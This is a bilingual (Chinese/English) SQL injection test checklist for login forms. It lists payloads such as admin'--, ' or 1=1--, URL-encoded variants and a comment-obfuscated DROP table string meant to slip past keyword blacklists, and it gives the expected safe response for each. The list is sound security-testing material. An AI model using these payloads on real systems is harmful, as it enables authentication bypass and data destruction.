1.Random SQL（随机的SQL）：一些随机的SQL类型的输入值,看看服务器返回一个消息

1   Username:     SELECT Username FROM Users WHERE ID=1 
2   Password:     SELECT MD5(Password) FROM Users WHERE ID=1 
  
 -- evaluates to: 
SELECT * FROM users WHERE username=‘SELECT Username FROM Users WHERE ID=1‘ AND password=‘SELECT MD5(Password) FROM Users WHERE ID=1‘ 

Result should be "invalid username/password". Suppress any other messages

2.wildcards（通配符）：输入一个（*）作为输入值进而观察结

1    Username:     * 
2    Password:     <Leave Blank> 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=‘*‘ AND password=‘‘ 

Result should be "invalid username/password"

 3.comments-dashdash   输入一个一个已知的用户名（如：admin）作为输入，以及后缀注释命令（如：--）

1    Username:     admin‘-- 
2    Password:     <Leave Blank> 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=‘admin‘--‘ AND password=‘‘ 

Result should be "invalid username/password".

 4.comments-hash     输入一个一个已知的用户名（如：admin）作为输入，以及后缀注释命令（如：#）

1  Username:     admin‘# 
2   Password:     <Leave Blank> 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=‘admin‘#‘ AND password=‘‘ 

Result should be "invalid username/password"

 5.Comments - bypassing pattern matches （绕过模式的匹配） 测试目标主机系统正在寻找诸如ＤＲＯＰ关键字或避免的黑名单

１　 Username:     ‘;DR/**/OP tempTable; 
２　 Password:     <Leave Blank> 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=‘‘;DROP tempTable;‘ AND password=‘‘ 

 ５.The Classic  输入以下命令“ ‘OR 1=1--”作为输入值，用知道存在的用户名替代“admin”

1  Username:     admin 
2  Password:     ‘ or 1=1-- 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=‘admin‘ AND password=‘‘ OR 1=1--‘ 

Quick variations of this:  #这主要要看返回的什么错误，然后在具体应用
admin‘ --  
 admin‘ #  
 admin‘/*  
 ‘ or 1=1--  
 ‘ or 1=1#  
 ‘ or 1=1/*  
 ‘) or ‘1‘=‘1--  
 ‘) or (‘1‘=‘1--      

 7.Variations of the Classic: Comments  根据具体的系统，尝试输入注释语法，用知道存在的用户名替代“admin”

1  Username:     admin 
2  Password:     ‘ or 1=1 --IamJOE 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=‘admin‘ AND password=‘‘ OR 1=1 --IamJOE‘

 8.Variations of the Classic: Empty 输入如：‘ or ‘ ‘=‘，用知道存在的用户名替换“admin”

1  Username:     admin 
2  Password:      ‘ or ‘‘=‘ 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=‘admin‘ AND password=‘ ‘ OR ‘‘=‘‘ 

 9.Variations of the Classic: NewLines（换行符） 某些脚本无法解析一个换行符，它是另一个查询或脚本修整提交的最后一行，用存在知道的用户名替“admin”

1  Username:     admin 
2  Password:     ‘ 
               OR 1=1-- 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=‘admin‘ AND password=‘‘ 
               OR 1=1--‘ 

**New lines in SQL should be understood as \r\n.

 10.Variations of the Classic: URL Encoded  尽管可以躲避掉转义‘，这里最有可能通过一个系统得到攻击。事实，所有在此页面上的攻击，可以将网址编码。键入以下内容：％27％20or％20％27％27％3D％27的输入值。

1  Username:     admin 
2  Password:     %27%20or%20%27%27%3D%27 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=‘admin‘ AND password=‘‘ OR ‘‘=‘

 11.Guest Password 如果知道一个有效的username/password，check that your scripts do not validate on password alone.（空密码）

1  Username:     Guest 
2  Password:     <Password you know exists in system> 
  
 -- evaluates to: 
 SELECT * FROM users WHERE username=‘Guest‘ AND password=‘<known_password>‘
